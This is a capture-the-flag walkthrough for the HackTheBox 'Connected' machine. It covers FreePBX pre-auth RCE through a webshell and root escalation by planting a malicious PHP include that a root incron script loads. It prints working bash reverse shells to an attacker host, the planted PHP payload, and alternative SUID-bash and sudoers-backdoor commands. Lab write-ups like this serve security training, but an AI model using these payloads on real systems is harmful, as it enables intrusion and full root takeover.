Htb Connected Walkthrough

Machine Summary

Connected is a Medium-rated Linux machine on HackTheBox centered around a vulnerable FreePBX management system. The attack path splits cleanly into two phases: exploiting a pre-authentication remote code execution vulnerability in FreePBX to land a shell as the asterisk service user, then escalating to root by chaining together an understanding of incron (a filesystem-event-based scheduler), a PHP include vulnerability in a root-owned script, and a missing module directory that the web user can write to.

This writeup documents everything - the enumeration, the rabbit holes, the failed attempts, the mindset behind each decision, and the final exploit chain. Nothing is skipped or cleaned up for presentation. If you’re here after getting stuck, you’ll find the failure you experienced documented too.

Key concepts covered:

  • FreePBX pre-auth RCE exploitation
  • incron - what it is, how it works, why it matters for privesc
  • PHP require_once include vulnerability
  • Reading scripts properly instead of just triggering them blindly
  • Recognising when to abandon a path and why
  • Privilege escalation via missing file creation in a user-writable path

Enumeration

Nmap

Starting with a full TCP scan:

nmap -sC -sV 10.129.69.121

Results:

Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.69.121

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 ...
80/tcp   open  http     Apache httpd 2.4.6
|_http-title: FreePBX Administration
443/tcp  open  https    Apache httpd 2.4.6
| ssl-cert: Subject: commonName=connected/...
5060/tcp open  sip      Asterisk PBX (SIP)

Four ports. The web interface on 80/443 immediately announces itself as FreePBX. Port 5060 running SIP confirms this is a full Asterisk PBX installation - FreePBX is the web management layer on top of Asterisk.

Web Enumeration

Visiting http://10.129.69.121 redirects to the FreePBX admin panel. The version is exposed in the page footer.

Initial Access - CVE-2025-57819 (FreePBX Pre-Auth RCE)

Vulnerability Background

FreePBX had a critical pre-authentication remote code execution vulnerability. The flaw allows an unauthenticated attacker to execute arbitrary operating system commands through the web interface. The exploit delivers a PHP webshell on the target.

This is the type of vulnerability where spending five minutes on Google tells you exactly what to run. Don’t overcomplicate it.

CVE-2025-57819

Exploitation

Running the exploit drops a webshell. Verify execution before trying to escalate to a full shell:

curl "http://connected.htb/[webshell-path].php?cmd=id"
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)

Command execution confirmed as the asterisk user. Now get a proper reverse shell - a webshell is functional but inconvenient for anything complex:

# URL-encoded reverse shell payload
curl "http://connected.htb/[webshell-path].php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/AttackerIP/4444%200%3E%261%22"
# Listener on attack box
nc -lvnp 4444

User Flag

ls -la ~
# user.txt

cat ~/user.txt

Got it. Now the actual challenge begins.

Privilege Escalation

This is where this machine lives. The path from asterisk to root is not straightforward. It involves a system most people haven’t encountered, requires reading PHP scripts properly, and has several convincing dead ends that look like the right path until you dig into them. The following documents the full thought process including every wrong turn.

Initial Enumeration as asterisk

The correct approach before trying anything is to fully understand your situation. Run through the basics:

# Who are we exactly
id
# uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)

# OS and kernel version
uname -a
# Linux connected 5.4.239-1.el7.elrepo.x86_64 #1 SMP

cat /etc/redhat-release
# CentOS Linux release 7.9.2009 (Core)

# Any sudo rights?
sudo -l
# sudo: no tty present and no askpass program specified

# SUID/SGID binaries
find / -perm -4000 -o -perm -2000 2>/dev/null | grep -v proc
# Nothing interesting - standard system binaries only

# Capabilities
getcap -r / 2>/dev/null
# Nothing useful

# Writable directories outside home
find / -writable -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | grep -v "^/tmp" | grep -v "^/run" | head -30

The kernel version (5.4.x on CentOS 7) is modern enough that kernel exploits aren’t the target. No sudo. No interesting SUID binaries. The escalation path is going to be application-layer.

Thinking about context

Here’s where slowing down pays off: you’re running as asterisk. That’s not a generic user - it’s the dedicated service account for an entire telephony stack. The FreePBX web interface, the Asterisk PBX daemon, module management, configuration scripts - all of it runs as or interacts with this user. That ecosystem is the attack surface.

Generic privesc techniques are worth checking but shouldn’t dominate your attention here. The escalation almost certainly involves something specific to FreePBX or Asterisk’s operational environment.

Discovering Incron

Checking what’s running as root gives the first real lead:

ps aux | grep root | grep -v "\[" | head -30
root   748  0.0  0.0  15044  2824  Ss   07:46   0:00  /usr/sbin/incrond
root   ...  ...  /usr/sbin/crond
root   ...  ...  /usr/sbin/httpd
root   ...  ...  /usr/sbin/asterisk

crond is expected on any Linux system. incrond is not. Before doing anything else, understand what it is.

What is incron?

incron is a daemon that monitors filesystem events using Linux’s inotify kernel subsystem. Instead of executing commands on a time schedule (like cron), it executes commands when specific filesystem events occur - file creation, modification, close-after-write, attribute change, etc.

The system incron table format looks like this:

<watched_path>  <event_mask>  <command>

When inotify reports that a watched file or directory has experienced the specified event, incrond executes the command. Crucially: incrond runs as root, so the commands it executes also run as root.

# Check incron system tables
ls -la /etc/incron.d/
cat /etc/incron.d/*

# Check user incron tables (asterisk's own)
incrontab -l 2>/dev/null

Reading the Incron Configuration

cat /etc/incron.d/*
/var/spool/asterisk/sysadmin/vpnget IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/wanrouter_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_wanrouter_restart
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
/usr/local/asterisk/ha_trigger IN_CLOSE_WRITE /usr/sbin/sysadmin_ha
/usr/local/asterisk/incron IN_CLOSE_WRITE /usr/bin/sysadmin_manager --local $#
/var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $#

Nine entries. Nine potential root execution vectors. Every time one of these watched files gets written to, the corresponding command runs as root. This is the attack surface in its entirety.

Two questions to answer for each entry:

  1. Can asterisk write to the watched path?
  2. Can we influence what the triggered command does when it runs?

Checking write access to watched directories

ls -la /var/spool/asterisk/sysadmin/
# drwxrwxrwx. 2 asterisk asterisk 4096 Jun 11 07:46 .

ls -la /usr/local/asterisk/
# drwxr-xr-x. 3 asterisk asterisk 38 Nov 30 2025 .

ls -la /var/spool/asterisk/incron/
# drwxrwxrwx. 2 asterisk asterisk 6 Jun 11 08:56 .

asterisk owns or has write access to all of these directories. Every trigger is reachable. The question is now entirely about what happens when we trigger them.

Filtering out the Noise

Initial investigation of the incron entries reveals several immediate dead ends: sysadmin_manager is protected by a robust GPG signature validation system preventing arbitrary hook execution, and parameter injection via the CONTENTS keyword is blocked by strict regex sanitisation. Additionally, target scripts like /usr/sbin/sysadmin_wanrouter_restart are strictly root-owned and unwritable. An early attempt to write a reverse shell directly into the watched file (ha_trigger) also fails, demonstrating a common misunderstanding: incron only watches the trigger file for events; it does not execute its contents.

With these paths exhausted, attention turns to the final interesting entry:

/usr/local/asterisk/ha_trigger IN_CLOSE_WRITE /usr/sbin/sysadmin_ha

Now read sysadmin_ha properly:

cat /usr/sbin/sysadmin_ha
#!/usr/bin/php -q
<?php

if(file_exists("/var/www/html/admin/modules/freepbx_ha/license.php")) {
include_once("/var/www/html/admin/modules/freepbx_ha/license.php");
}

$i = "/var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php";
if (file_exists($i)) {
        require_once($i);
        $incron = new incron;
        $incron->rootTrigger();
}

Stop. Read this slowly. This is the vulnerability.

The script:

  1. Checks if /var/www/html/admin/modules/freepbx_ha/license.php exists - if so, includes it
  2. Checks if /var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php exists - if so, includes it
  3. If the second include succeeded, instantiates an incron class and calls rootTrigger()

There is no hash validation. No GPG signature check. No integrity verification. Just file_exists() followed by require_once().

Compare this to sysadmin_manager with its five layers of validation. sysadmin_ha has zero.

Now check if those files exist:

ls -la /var/www/html/admin/modules/freepbx_ha/ 2>&1
# ls: cannot access '/var/www/html/admin/modules/freepbx_ha/': No such file or directory

The entire freepbx_ha module directory doesn’t exist. The freepbx_ha module (FreePBX High Availability) was never installed on this system. file_exists() returns false. sysadmin_ha does nothing when triggered.

Now the critical question - can we create that directory and file?

ls -la /var/www/html/admin/modules/
# drwxrwxr-x. 59 asterisk asterisk 4096 Jun 11 08:30 .

Yes. The modules directory is writable by asterisk. This is intentional - FreePBX module installation runs as the asterisk user. Installing a FreePBX module writes files into this directory. We’re about to do the same thing, except our “module” is malicious PHP.

The complete picture:

  1. sysadmin_ha runs as root
  2. It does an unconditional require_once() of a file at a path inside asterisk’s writable directory
  3. That file doesn’t exist yet
  4. If we create it with a class named incron containing a method named rootTrigger(), the script will include it and call our code as root
  5. ha_trigger is world-writable, so we can fire the incron event at will

This is the path.

Exploitation

Creating the Malicious PHP Include

The PHP file needs to match exactly what sysadmin_ha expects - a class named incron with a public method named rootTrigger(). Anything else and the script will throw a fatal error before our code runs.

# Create the directory structure
mkdir -p /var/www/html/admin/modules/freepbx_ha/functions.inc/

# Write the malicious PHP file
cat > /var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php << 'EOF'
<?php
class incron {
    public function rootTrigger() {
        system("bash -c 'bash -i >& /dev/tcp/[Attacker IP_ADDRESS]/4444 0>&1' &");
    }
}
EOF

Verify it’s in place:

cat /var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php
<?php
class incron {
    public function rootTrigger() {
        system("bash -c 'bash -i >& /dev/tcp/10.10.16.62/4444 0>&1' &");
    }
}

Starting the Listener

On the attack box:

nc -lvnp 4444

Triggering the Exploit

Write anything to ha_trigger. The content doesn’t matter - incron only cares that the file was written to:

echo "trigger" > /usr/local/asterisk/ha_trigger

Incron detects the IN_CLOSE_WRITE event. sysadmin_ha runs as root. It calls file_exists() on our PHP file - returns true. It calls require_once() - our file is included. It instantiates new incron - our class. It calls rootTrigger() - Our reverse shell fires.

Listening on 0.0.0.0 4444
Connection received on 10.129.69.121 ...
root@connected:~#
id
# uid=0(root) gid=0(root) groups=0(root)

cat /root/root.txt
# HTB{...}

Both flags captured.

Full Exploit Chain

[asterisk] echo "trigger" > /usr/local/asterisk/ha_trigger
                          |
                          | IN_CLOSE_WRITE event
                          
              incrond (running as root)
                          |
                          | executes configured command
                          
            /usr/sbin/sysadmin_ha (running as root)
                          |
                          | file_exists()  true (we created it)
                          
            require_once("/var/www/html/admin/modules/
                freepbx_ha/functions.inc/incron.php")
                          |
                          | includes our malicious PHP
                          
                new incron  rootTrigger()
                          |
                          | system() as root
                          
              bash reverse shell / SUID binary / sudoers
                          |
                          
                      uid=0(root)

Tools and Commands Reference

Full list of commands used during this walkthrough:

# Recon
nmap -sC -sV <TARGET>

# Enumeration
id && uname -a && cat /etc/redhat-release
sudo -l
find / -perm -4000 -o -perm -2000 2>/dev/null
getcap -r / 2>/dev/null
ps aux | grep root
cat /etc/incron.d/*
incrontab -l 2>/dev/null
ls -la /var/spool/asterisk/sysadmin/
ls -la /usr/local/asterisk/
ls -la /var/spool/asterisk/incron/

# Analysing sysadmin_manager
cat /usr/bin/sysadmin_manager
for module in /var/www/html/admin/modules/*/module.sig; do
    echo "=== $module ==="
    strings "$module" | grep -E "^hooks/" | head -5
done

# Testing sysadmin_ha
cat /usr/sbin/sysadmin_ha
ls /var/www/html/admin/modules/freepbx_ha/ 2>&1
ls -la /var/www/html/admin/modules/

# Exploitation
mkdir -p /var/www/html/admin/modules/freepbx_ha/functions.inc/
cat > /var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php << 'EOF'
<?php
class incron {
    public function rootTrigger() {
        system("bash -c 'bash -i >& /dev/tcp/<LHOST>/4444 0>&1' &");
    }
}
EOF
echo "trigger" > /usr/local/asterisk/ha_trigger

# Alternative payloads
# SUID bash
# system("cp /bin/bash /tmp/rootbash; chown root:root /tmp/rootbash; chmod 4755 /tmp/rootbash");
# /tmp/rootbash -p

# Sudoers
# system("echo 'asterisk ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers");
# sudo su -

The vulnerability itself is not a CVE. There’s no exploit in Metasploit. It’s a logic and configuration flaw - a root process includes a file from a user-writable path without any integrity validation. Finding it requires reading code, not running tools.

Machine: Connected | Difficulty: Medium | OS: Linux (CentOS 7) | HackTheBox

Support me on Ko-fi
Zylonic — technology, explained clearly.
Site by Kayz